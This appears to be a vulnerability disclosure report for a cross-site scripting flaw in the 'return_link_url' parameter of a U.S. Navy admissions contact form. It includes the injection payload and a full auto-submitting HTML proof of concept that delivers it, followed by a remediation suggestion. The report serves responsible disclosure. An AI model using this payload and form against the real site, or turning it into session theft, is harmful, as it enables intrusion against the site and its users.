Cross-Site Scripting via 'return_link_url' parameter

How it was found

Description: I discovered a Cross-Site Scripting (XSS) vulnerability on ███████ , specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.

Vulnerable parameter: return_link_url Payload: 'onmouseover='prompt(90702)

It's a official website from U.S. Navy: ████████

Impact

Exploitation of this vulnerability can lead to severe consequences, including but not limited: Session Hijacking: Attackers can steal cookies and impersonate legitimate users.

System Host(s)

████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

You have to open this code on a page/site that is yours:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="███" method="POST">
      <input type="hidden" name="FirstName" value="WkYxnTGh" />
      <input type="hidden" name="LastName" value="WkYxnTGh" />
      <input type="hidden" name="Message" value="555" />
      <input type="hidden" name="MiddleInitial" value="A" />
      <input type="hidden" name="State" value="AL" />
      <input type="hidden" name="email" value="testing&#64;example&#46;com" />
      <input type="hidden" name="mysubmit" value="Submit" />
      <input type="hidden" name="print&#95;blank&#95;fields" value="true" />
      <input type="hidden" name="recipient" value="inquire&#64;usna&#46;edu" />
      <input type="hidden" name="required" value="State&#44;email&#44;Message" />
      <input type="hidden" name="resptext1" value="Thank&#32;you&#32;for&#32;your&#32;email&#46;" />
      <input type="hidden" name="return&#95;link&#95;title" value="Click&#32;here&#32;to&#32;return&#32;to&#32;USNA&#32;Admissions&#32;website&#46;" />
      <input type="hidden" name="return&#95;link&#95;url" value="http&#58;&#47;&#47;www&#46;usna&#46;edu&#47;Admissions&apos;onmouseover&#61;&apos;prompt&#40;90702&#41;" />
      <input type="hidden" name="sort" value="none" />
      <input type="hidden" name="subject" value="GENERAL&#32;ADMISSIONS&#32;QUESTION" />
      <input type="hidden" name="title" value="Thank&#32;you&#32;for&#32;your&#32;email&#46;" />
      <input type="hidden" name="useajax" value="silent" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

After opening the website with CSRF (to execute the POST method), move your cursor/mouse to:

███

If you want to find it easier, search for the word "return" on the page, using your browser. Hover your mouse/cursor over it and you will get an alert(1)

█████████

Suggested Mitigation/Remediation Actions

Apply context-dependent encoding and/or validation to user input rendered on a page.